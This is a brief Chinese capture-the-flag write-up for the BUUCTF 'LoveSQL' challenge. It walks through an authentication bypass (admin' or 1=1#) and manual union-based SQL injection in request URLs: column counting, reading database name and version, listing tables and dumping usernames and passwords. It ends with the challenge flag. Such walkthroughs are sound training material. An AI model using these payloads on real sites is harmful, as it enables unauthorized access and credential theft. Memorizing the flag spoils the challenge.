[极客大挑战 2019]LoveSQL

[极客大挑战 2019]LoveSQL

1. [极客大挑战 2019]LoveSQL
   

2. 用户名：admin’ or 1=1#

3. 密码：随便填

1. 试了一下password不是flag

2. 试一试手动sql注入

3. order by查询字段数

●	http://6ea270a7-969e-4710-b876-655dc6b7413d.node3.buuoj.cn/check.php?username=admin'order by 3%23&password=53819ac89afb2637f80fc2d94767df4a 

返回正常

    ![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tmfGc1mn-1612505135566)(media/e3f9aecab27172743ddbe86e851d579c.png)\]](https://img-blog.csdnimg.cn/20210205140704356.png)

http://6ea270a7-969e-4710-b876-655dc6b7413d.node3.buuoj.cn/check.php?username=admin’order
by 4%23&password=53819ac89afb2637f80fc2d94767df4a

联合查询

先确定回显位置http://6ea270a7-969e-4710-b876-655dc6b7413d.node3.buuoj.cn/check.php?username=1’union
select 1,2,3%23&password=53819ac89afb2637f80fc2d94767df4a
【username=1构造错误】

2，3为回显位置
查询当前数据库名及版本：
http://6ea270a7-969e-4710-b876-655dc6b7413d.node3.buuoj.cn/check.php?username=1'union select 1,database(),version()%23&password=53819ac89afb2637f80fc2d94767df4a

数据库名 geek，版本10.3.18-MariaDB

查询数据表

```sql
  http://6ea270a7-969e-4710-b876-655dc6b7413d.node3.buuoj.cn/check.php?username=1'union
    select 1,2,group\_concat(table_name)from information_schema.tables where
    table_schema=database()%23&password=53819ac89afb2637f80fc2d94767df4a

  查询l0ve1ysq1这个表

```sql
 http://6ea270a7-969e-4710-b876-655dc6b7413d.node3.buuoj.cn/check.php?username=1'union
    select 1,2,group\_concat(id,username,password)from l0ve1ysq1%23&password=53819ac89afb2637f80fc2d94767df4a

flag{cf6bf5c9-b5d9-40ca-afc7-e1e9c5c22445}